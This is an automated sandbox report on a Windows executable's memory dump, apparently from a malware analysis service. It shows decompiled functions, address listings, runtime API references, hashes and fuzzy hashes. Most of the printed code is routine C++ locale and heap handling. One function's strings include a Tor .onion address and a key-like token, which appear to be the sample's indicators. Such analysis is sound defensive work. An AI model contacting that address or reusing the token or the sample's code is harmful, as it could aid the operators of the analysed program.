						_push(0x58);
						 *((intOrPtr*)(_t159 - 0x10)) = _t101;
						_t157 = E00ADA780(_t146, _t156, _t182);
						 *((intOrPtr*)(_t159 - 0x14)) = _t157;
						 *(_t159 - 4) = 0xd;
						_t183 = _t157;
						if(_t157 == 0) {
							_t148 = _t112;
						} else {
							 *((intOrPtr*)(_t157 + 4)) = _t112;
							_push(_t112);
							_push( *((intOrPtr*)(_t159 + 8)));
							 *(_t159 - 4) = 0xe;
							 *_t157 = 0xb16fc4;
							 *((char*)(_t157 + 0x28)) = 1;
							E00AD7A52(_t157, _t183);
							 *_t157 = 0xb1702c;
						}
						 *(_t159 - 4) =  *(_t159 - 4) | 0xffffffff;
						_t70 = E00AC5598(_t146, _t147, _t148,  *((intOrPtr*)(_t159 - 0x10)));
						_t160 = _t170 + 0xc;
					}
					_t146 =  *(_t159 + 0xc);
				}
				if((_t146 & 0x00000010) != 0) {
					_t71 = E00AB1310(_t112, 0xb45cb8, _t147, _t148);
					_t185 =  *((intOrPtr*)(_t159 + 0x14));
					_t149 = _t71;
					if( *((intOrPtr*)(_t159 + 0x14)) != 0) {
						_push( *((intOrPtr*)(_t159 + 0x14)));
						_t72 = L00AD66FF(_t146, __eflags);
						E00AC5598(_t146, _t147, _t72, _t149);
						_t74 = E00AB1310(_t112, 0xb45cbc, _t147, _t149);
						_push( *((intOrPtr*)(_t159 + 0x14)));
						_t70 = E00AC5598(_t146, _t147, E00AD67A5(_t146, __eflags), _t74);
					} else {
						_push(0x44);
						_t76 = E00ADA780(_t146, _t149, _t185);
						 *((intOrPtr*)(_t159 - 0x14)) = _t76;
						 *(_t159 - 4) = 0x12;
						_t186 = _t76;
						if(_t76 == 0) {
							_t77 = _t112;
						} else {
							_push(_t112);
							_push( *((intOrPtr*)(_t159 + 8)));
							_t77 = L00AD684B(_t76); // executed
						}
						 *(_t159 - 4) =  *(_t159 - 4) | 0xffffffff;
						E00AC5598(_t146, _t147, _t77, _t149);
						_t79 = E00AB1310(_t112, 0xb45cbc, _t147, _t149);
						_push(0xc);
						_t151 = _t79;
						_t80 = E00ADA780(_t146, _t79, _t186);
						 *((intOrPtr*)(_t159 - 0x14)) = _t80;
						if(_t80 != 0) {
							_t112 = E00AD687E(_t112, _t147,  *((intOrPtr*)(_t159 + 8)), _t112);
						}
						_t70 = E00AC5598(_t146, _t147, _t112, _t151);
					}
				}
				E00ADAEB2();
				return _t70;
			}

0x00ad7b60
0x00ad7b60
0x00ad7b63
0x00ad7b6c
0x00ad7b71
0x00ad7b72
0x00ad7b79
0x00ad7b7e
0x00ad7b80
0x00ad7b81
0x00ad7b82
0x00ad7b87
0x00ad7b93
0x00ad7b98
0x00ad7b9f
0x00ad7ba4
0x00ad7ba7
0x00ad7be4
0x00ad7be7
0x00ad7bf1
0x00ad7bf6
0x00ad7ba9
0x00ad7ba9
0x00ad7bab
0x00ad7bb3
0x00ad7bb5
0x00ad7bb9
0x00ad7bbb
0x00ad7bd3
0x00ad7bbd
0x00ad7bbd
0x00ad7bc0
0x00ad7bcb
0x00ad7bce
0x00ad7bce
0x00ad7bda
0x00ad7bdf
0x00ad7bdf
0x00ad7ba7
0x00ad7bf9
0x00ad7bff
0x00ad7c0b
0x00ad7c0d
0x00ad7c10
0x00ad7c3b
0x00ad7c46
0x00ad7c4b
0x00ad7c12
0x00ad7c12
0x00ad7c14
0x00ad7c19
0x00ad7c1f
0x00ad7c2c
0x00ad7c21
0x00ad7c21
0x00ad7c24
0x00ad7c24
0x00ad7c31
0x00ad7c36
0x00ad7c36
0x00ad7c4e
0x00ad7c4e
0x00ad7c54
0x00ad7c64
0x00ad7c66
0x00ad7c69
0x00ad7d82
0x00ad7d8d
0x00ad7d9a
0x00ad7d9f
0x00ad7dac
0x00ad7db9
0x00ad7dbe
0x00ad7dcb
0x00ad7dd8
0x00ad7ddd
0x00ad7de0
0x00ad7dea
0x00ad7def
0x00ad7c6f
0x00ad7c6f
0x00ad7c71
0x00ad7c76
0x00ad7c7a
0x00ad7c7c
0x00ad7c89
0x00ad7c7e
0x00ad7c7e
0x00ad7c81
0x00ad7c81
0x00ad7c8e
0x00ad7c93
0x00ad7c9b
0x00ad7ca0
0x00ad7ca2
0x00ad7ca4
0x00ad7ca9
0x00ad7cad
0x00ad7caf
0x00ad7cbc
0x00ad7cb1
0x00ad7cb1
0x00ad7cb4
0x00ad7cb4
0x00ad7cc1
0x00ad7cc6
0x00ad7cce
0x00ad7cd3
0x00ad7cd5
0x00ad7cdd
0x00ad7ce0
0x00ad7ce3
0x00ad7cea
0x00ad7cec
0x00ad7d11
0x00ad7cee
0x00ad7cee
0x00ad7cf1
0x00ad7cf2
0x00ad7cf7
0x00ad7cfb
0x00ad7d01
0x00ad7d04
0x00ad7d09
0x00ad7d09
0x00ad7d16
0x00ad7d1c
0x00ad7d21
0x00ad7d29
0x00ad7d2e
0x00ad7d30
0x00ad7d38
0x00ad7d3b
0x00ad7d3e
0x00ad7d45
0x00ad7d47
0x00ad7d6d
0x00ad7d49
0x00ad7d49
0x00ad7d4c
0x00ad7d4d
0x00ad7d52
0x00ad7d56
0x00ad7d5c
0x00ad7d60
0x00ad7d65
0x00ad7d65
0x00ad7d72
0x00ad7d78
0x00ad7d7d
0x00ad7d7d
0x00ad7df2
0x00ad7df2
0x00ad7df8
0x00ad7e03
0x00ad7e08
0x00ad7e0c
0x00ad7e0e
0x00ad7e79
0x00ad7e7c
0x00ad7e84
0x00ad7e91
0x00ad7e96
0x00ad7ea3
0x00ad7e10
0x00ad7e10
0x00ad7e12
0x00ad7e18
0x00ad7e1b
0x00ad7e22
0x00ad7e24
0x00ad7e33
0x00ad7e26
0x00ad7e26
0x00ad7e27
0x00ad7e2c
0x00ad7e2c
0x00ad7e35
0x00ad7e3c
0x00ad7e49
0x00ad7e4e
0x00ad7e50
0x00ad7e52
0x00ad7e57
0x00ad7e5d
0x00ad7e6a
0x00ad7e6a
0x00ad7e6f
0x00ad7e74
0x00ad7e0e
0x00ad7eab
0x00ad7eb0

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00AD7B6C

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

collate.LIBCPMT ref: 00AD7B82

Part of subcall function 00AD6983: __EH_prolog3_GS.LIBCMT ref: 00AD698A
Part of subcall function 00AD6983: std::_Locinfo::_Locinfo.LIBCPMTD ref: 00AD69DC
Part of subcall function 00AD6983: __Getcoll.LIBCPMT ref: 00AD69EE
Part of subcall function 00AD6983: std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00AD6A0A

__Getcoll.LIBCPMT ref: 00AD7BC6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7BDA
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7BF1
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7C31
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7C46
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7C8E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7CC1
_Mpunct.LIBCPMT ref: 00AD7D04
_Mpunct.LIBCPMT ref: 00AD7D60
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7D78
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7D8D
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7DAC
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7DCB
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7DEA
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7D1C

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7E3C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AD7E6F

Strings

uijDi), xrefs: 00AD7E0E
k3, xrefs: 00AD7B79

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$std::_$GetcollLocinfoLockitMpunct$ExceptionException@8H_prolog3_Locinfo::_Locinfo::~_Lockit::_Lockit::~_RaiseThrowcollate
String ID: uijDi)$k3
API String ID: 3436305983-2804397893
Opcode ID: bd3a32d535bafbf6040a5c14488d9f516e21c0e4a9e75b7b7aaae0e5f306d15f
Instruction ID: 1bd50822bffbb2000aa04ed9de54c669f68dedad71c23326097722a7c6146128
Opcode Fuzzy Hash: bd3a32d535bafbf6040a5c14488d9f516e21c0e4a9e75b7b7aaae0e5f306d15f
Instruction Fuzzy Hash: E191E6B1C05619AFDB24AF709E46ABF3BE5DF40350F10446EF846AB382FA354D5097A2

Uniqueness

Uniqueness Score: -1.00%

Function 00AC580D, Relevance: 21.2, APIs: 14, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00AC580D(signed int __ebx, void* __edx, void* __edi, void* __eflags) {
				intOrPtr* _t47;
				void* _t52;
				intOrPtr* _t58;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t63;
				intOrPtr* _t67;
				intOrPtr* _t68;
				signed int _t70;
				signed int _t71;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr _t84;
				void* _t85;
				void* _t86;
				intOrPtr* _t89;
				void* _t90;
				void* _t91;
				void* _t92;
				void* _t96;
				void* _t97;

				_t81 = __edi;
				_t80 = __edx;
				_t70 = __ebx;
				_t72 = 0xb45b24;
				_t83 = E00AB1310(__ebx, 0xb45b24, __edi, _t82);
				_t99 = __ebx;
				if(__ebx != 0) {
					_push(__ebx);
					E00AC5598(_t80, _t81, E00AC35CB(_t80, __eflags), _t83);
					_t92 = _t91 + 0x10;
				} else {
					_t67 = E00ADA780(_t80, _t83, _t99);
					 *((intOrPtr*)(_t90 - 0x10)) = _t67;
					_t72 = 0x18;
					if(_t67 == 0) {
						_t68 = 0;
						__eflags = 0;
					} else {
						_t72 = _t67;
						_t68 = E00AC3863(_t67,  *((intOrPtr*)(_t90 + 8)), __ebx);
					}
					E00AC5598(_t80, _t81, _t68, _t83);
					_t92 = _t91 + 0xc;
				}
				if(( *(_t90 + 0xc) & 0x00000008) != 0) {
					_t86 = E00AB1310(_t70, 0xb45ae8, _t81, _t83);
					_t102 = _t70;
					if(_t70 != 0) {
						E00AC5598(_t80, _t81, E00AC3671(_t80, __eflags), _t86);
						_t52 = E00AB1310(_t70, 0xb45aec, _t81, _t86);
						E00AC5598(_t80, _t81, E00AC3717(_t80, __eflags, _t70, _t70), _t52);
						_t72 = 0xb45af0;
						_t83 = E00AB1310(_t70, 0xb45af0, _t81, _t52);
						E00AC5598(_t80, _t81, E00AC37BD(_t80, __eflags, _t70), _t55);
						_t92 = _t92 + 0x30;
					} else {
						_push(8);
						_t58 = E00ADA780(_t80, _t86, _t102);
						 *((intOrPtr*)(_t90 - 0x10)) = _t58;
						_t103 = _t58;
						if(_t58 == 0) {
							_t58 = 0;
							__eflags = 0;
						} else {
							 *(_t58 + 4) =  *(_t58 + 4) & _t70;
							 *_t58 = 0xb156ec;
						}
						E00AC5598(_t80, _t81, _t58, _t86);
						_t96 = _t92 + 0xc;
						_t60 = E00AB1310(_t70, 0xb45aec, _t81, _t86);
						_push(8);
						_t88 = _t60;
						_t61 = E00ADA780(_t80, _t60, _t103);
						 *((intOrPtr*)(_t90 - 0x10)) = _t61;
						_t104 = _t61;
						if(_t61 == 0) {
							_t61 = 0;
							__eflags = 0;
						} else {
							 *(_t61 + 4) =  *(_t61 + 4) & 0x00000000;
							 *_t61 = 0xb15728;
						}
						E00AC5598(_t80, _t81, _t61, _t88);
						_t97 = _t96 + 0xc;
						_t63 = E00AB1310(_t70, 0xb45af0, _t81, _t88);
						 *((intOrPtr*)(_t90 - 0x10)) = _t63;
						_t89 = E00ADA780(_t80, _t88, _t104);
						_t72 = 0x18;
						 *((intOrPtr*)(_t90 - 0x18)) = _t89;
						 *(_t90 - 4) = 7;
						if(_t89 == 0) {
							_t83 = 0;
							__eflags = 0;
						} else {
							 *(_t89 + 4) =  *(_t89 + 4) & 0x00000000;
							_push(0);
							_push( *((intOrPtr*)(_t90 + 8)));
							_t72 = _t89;
							 *(_t90 - 4) = 8;
							 *_t89 = 0xb15758;
							E00AC523A(_t89);
						}
						 *(_t90 - 4) =  *(_t90 - 4) | 0xffffffff;
						E00AC5598(_t80, _t81, _t83,  *((intOrPtr*)(_t90 - 0x10)));
						_t92 = _t97 + 0xc;
					}
				}
				if( *((intOrPtr*)(_t90 - 0x14)) != 0) {
					_t72 = 0xb45af4;
					_t85 = E00AB1310(_t70, 0xb45af4, _t81, _t83);
					_t107 = _t70;
					if(_t70 != 0) {
						_push(_t70);
						E00AC5598(_t80, _t81, E00AC3525(_t80, __eflags), _t85);
						_t92 = _t92 + 0x10;
					} else {
						_t47 = E00ADA780(_t80, _t85, _t107);
						 *((intOrPtr*)(_t90 - 0x18)) = _t47;
						_t72 = 8;
						_t108 = _t47;
						if(_t47 == 0) {
							_t47 = 0;
							__eflags = 0;
						} else {
							 *(_t47 + 4) =  *(_t47 + 4) & _t70;
							 *_t47 = 0xb1577c;
						}
						E00AC5598(_t80, _t81, _t47, _t85);
						_t92 = _t92 + 0xc;
					}
				}
				_t84 =  *((intOrPtr*)(_t90 + 8));
				_push(_t70);
				_push(_t81);
				_push( *(_t90 + 0xc));
				_push(_t84); // executed
				L00AD7B72(_t72, _t80, _t108); // executed
				_push(_t70);
				_push(_t81);
				_push( *(_t90 + 0xc));
				_push(_t84); // executed
				E00AD0725(_t80, _t84); // executed
				_push(_t70);
				_t71 =  *(_t90 + 0xc);
				_push(_t81);
				_push(_t71);
				_push(_t84);
				E00AD0204(_t80, _t84);
				 *(_t81 + 0x10) =  *(_t81 + 0x10) | _t71;
				_t41 =  *((intOrPtr*)(_t84 + 0x2c));
				if( *((intOrPtr*)(_t84 + 0x2c)) == 0) {
					_t41 = _t84 + 0x30;
				}
				E00AA7E40(_t81 + 0x18, _t41);
				E00ADAEB2();
				return _t81;
			}

0x00ac580d
0x00ac580d
0x00ac580d
0x00ac580d
0x00ac5817
0x00ac5819
0x00ac581b
0x00ac5848
0x00ac5851
0x00ac5856
0x00ac581d
0x00ac581f
0x00ac5824
0x00ac5827
0x00ac582a
0x00ac5839
0x00ac5839
0x00ac582c
0x00ac5830
0x00ac5832
0x00ac5832
0x00ac583e
0x00ac5843
0x00ac5843
0x00ac585d
0x00ac586d
0x00ac586f
0x00ac5871
0x00ac5931
0x00ac593e
0x00ac594e
0x00ac5956
0x00ac5961
0x00ac596b
0x00ac5970
0x00ac5877
0x00ac5877
0x00ac5879
0x00ac587e
0x00ac5882
0x00ac5884
0x00ac5891
0x00ac5891
0x00ac5886
0x00ac5886
0x00ac5889
0x00ac5889
0x00ac5896
0x00ac589b
0x00ac58a3
0x00ac58a8
0x00ac58aa
0x00ac58ac
0x00ac58b1
0x00ac58b5
0x00ac58b7
0x00ac58c5
0x00ac58c5
0x00ac58b9
0x00ac58b9
0x00ac58bd
0x00ac58bd
0x00ac58ca
0x00ac58cf
0x00ac58d7
0x00ac58de
0x00ac58e6
0x00ac58e8
0x00ac58e9
0x00ac58ec
0x00ac58f5
0x00ac5913
0x00ac5913
0x00ac58f7
0x00ac58f7
0x00ac58fb
0x00ac58fd
0x00ac5900
0x00ac5902
0x00ac5906
0x00ac590c
0x00ac590c
0x00ac5918
0x00ac591e
0x00ac5923
0x00ac5923
0x00ac5871
0x00ac5977
0x00ac5979
0x00ac5983
0x00ac5985
0x00ac5987
0x00ac59b2
0x00ac59bb
0x00ac59c0
0x00ac5989
0x00ac598b
0x00ac5990
0x00ac5993
0x00ac5994
0x00ac5996
0x00ac59a3
0x00ac59a3
0x00ac5998
0x00ac5998
0x00ac599b
0x00ac599b
0x00ac59a8
0x00ac59ad
0x00ac59ad
0x00ac5987
0x00ac59c3
0x00ac59c6
0x00ac59c7
0x00ac59c8
0x00ac59cb
0x00ac59cc
0x00ac59d1
0x00ac59d2
0x00ac59d3
0x00ac59d6
0x00ac59d7
0x00ac59dc
0x00ac59dd
0x00ac59e0
0x00ac59e1
0x00ac59e2
0x00ac59e3
0x00ac59e8
0x00ac59ee
0x00ac59f3
0x00ac59f5
0x00ac59f5
0x00ac59fc
0x00ac5a03
0x00ac5a08

APIs

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

ctype.LIBCPMT ref: 00AC5832

Part of subcall function 00AC3863: __Getctype.LIBCPMT ref: 00AC3881

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC583E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC5851
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC5896
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC58CA
numpunct.LIBCPMT ref: 00AC590C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC591E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC5931
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC594E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC596B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC59A8
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00AC59BB
std::locale::_Locimp::_Makeushloc.LIBCPMT ref: 00AC59D7
std::locale::_Locimp::_Makeushloc.LIBCPMT ref: 00AC59E3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Locimp::_std::locale::_$AddfacLocimp_$LockitMakeushlocstd::_$GetctypeLockit::_Lockit::~_ctypenumpunct
String ID:
API String ID: 1539908859-0
Opcode ID: 68040d091f361b7c640ca9455ec362c8478dd89ffedae984c8a5216e898b9a40
Instruction ID: 379009c7299e5a32c429bce7df21a62b208dd56e5babb896d9f1e77eee85fef8
Opcode Fuzzy Hash: 68040d091f361b7c640ca9455ec362c8478dd89ffedae984c8a5216e898b9a40
Instruction Fuzzy Hash: F851ECB2D00A15AADB207B718D46FBF3AACEF45350F41446DF8059A242EB349E8193E2

Uniqueness

Uniqueness Score: -1.00%

Function 00AFF3E5, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 00B00BB9: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,00ADA79A,00000000,?,00AA171C,00000000,?,00AABDB9,00000000), ref: 00B00BEB

_free.LIBCMT ref: 00AFF4F4
_free.LIBCMT ref: 00AFF50B
_free.LIBCMT ref: 00AFF52A
_free.LIBCMT ref: 00AFF545
_free.LIBCMT ref: 00AFF55C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: d0ca398934b41cbc025511bc995cad0085ec15df1e1c29186b8b44cc85b2fd3a
Instruction ID: 48b7b4007a5bdb2cc4b5c3ec10dc571e4d0e66d7d3cd56c2d7a8e768002b5819
Opcode Fuzzy Hash: d0ca398934b41cbc025511bc995cad0085ec15df1e1c29186b8b44cc85b2fd3a
Instruction Fuzzy Hash: B2519472A00609AFDB20DFA9DC41A7A77F4EF58724F1446A9FA09D7290E731DA418B40

Uniqueness

Uniqueness Score: -1.00%

Function 00AD674F, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

std::_Facet_Register.LIBCPMT ref: 00AD6761
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD6781
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD679F

Strings

%G, xrefs: 00AD6788

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Exception@8Facet_LockitLockit::~_RegisterThrow
String ID: %G
API String ID: 3045442897-3833237576
Opcode ID: a0b84b9b915ab22a7640e401ce612a3b06fe3e669991de1f4368dc4c87614168
Instruction ID: 5369977c5367891e64956a78053995d06347b4c4fb301196d067b34de50f57a3
Opcode Fuzzy Hash: a0b84b9b915ab22a7640e401ce612a3b06fe3e669991de1f4368dc4c87614168
Instruction Fuzzy Hash: 41F0A775900118CBCB14EB68DD899ECB7F4BF84310B69410EF422A32E2DF745E05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7B16, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_Mpunct.LIBCPMT ref: 00AD7B19
__CxxThrowException@8.LIBVCRUNTIME ref: 00AD7B22

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

__Getdateorder.LIBCPMT ref: 00AD7B50

Part of subcall function 00AD9CD2: ___crtGetLocaleInfoEx.LIBCPMT ref: 00AD9CED

Strings

4, xrefs: 00AD7B2F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionException@8GetdateorderInfoLocaleMpunctRaiseThrow___crt
String ID: 4
API String ID: 4242372045-1342260363
Opcode ID: f92ed6bcf71d949b9af2f40a98fa36b4a811f6d83b56f9d06bb0ae728d4112c6
Instruction ID: 4ea96a10f56a1581b4b7f63c863d5c422a2b4506afde7dfd51b2f8388f73b751
Opcode Fuzzy Hash: f92ed6bcf71d949b9af2f40a98fa36b4a811f6d83b56f9d06bb0ae728d4112c6
Instruction Fuzzy Hash: 34E06DB0C01714AEC760EFB5C60959FBEF0EF05710B00882EB45ED7601DB348A00CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00AB26F0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

~.LIBCPMTD ref: 00AB2845

Strings

http://gvlay6u4g53rxdi5.onion/, xrefs: 00AB2772
04BymBUjhm2UYsdPZC8XC25a96k28AR0, xrefs: 00AB2744

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: 04BymBUjhm2UYsdPZC8XC25a96k28AR0$http://gvlay6u4g53rxdi5.onion/
API String ID: 0-3155643343
Opcode ID: 13aab195bfc40c3a813c667e0a8a7053a89a024078e6378c545b498c9d75fc6c
Instruction ID: e54dfc72186f9a20bd72854852831e5994831206572c0f8497c458c81487d315
Opcode Fuzzy Hash: 13aab195bfc40c3a813c667e0a8a7053a89a024078e6378c545b498c9d75fc6c
Instruction Fuzzy Hash: F74141B1C501589ACB14FBA0DD52FEEB7BDAF19700F400569F80A67593EF346A58CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4DEF, Relevance: 4.6, APIs: 3, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

_free.LIBCMT ref: 00AF4E96

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: cf3cf103a2ce8d09bdd65ff652222152dffe7aad85225fffc8c96915f2dc59b8
Instruction ID: 95b35075468eb8438ccc15660f43b8e60b7e4542915292f316d2abf7c9544162
Opcode Fuzzy Hash: cf3cf103a2ce8d09bdd65ff652222152dffe7aad85225fffc8c96915f2dc59b8
Instruction Fuzzy Hash: C4413A316002099FDB28DFACC885AB6B7E9FF5D314B2445A9F519C72A1DB31ED10DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AABC40, Relevance: 4.6, APIs: 3, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00AA9C60: _Max_value.LIBCPMTD ref: 00AA9C96
Part of subcall function 00AA9C60: _Min_value.LIBCPMTD ref: 00AA9CBC

allocator.LIBCONCRTD ref: 00AABCBB
allocator.LIBCONCRTD ref: 00AABD2D
construct.LIBCPMTD ref: 00AABD6D

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: allocator$Max_valueMin_valueconstruct
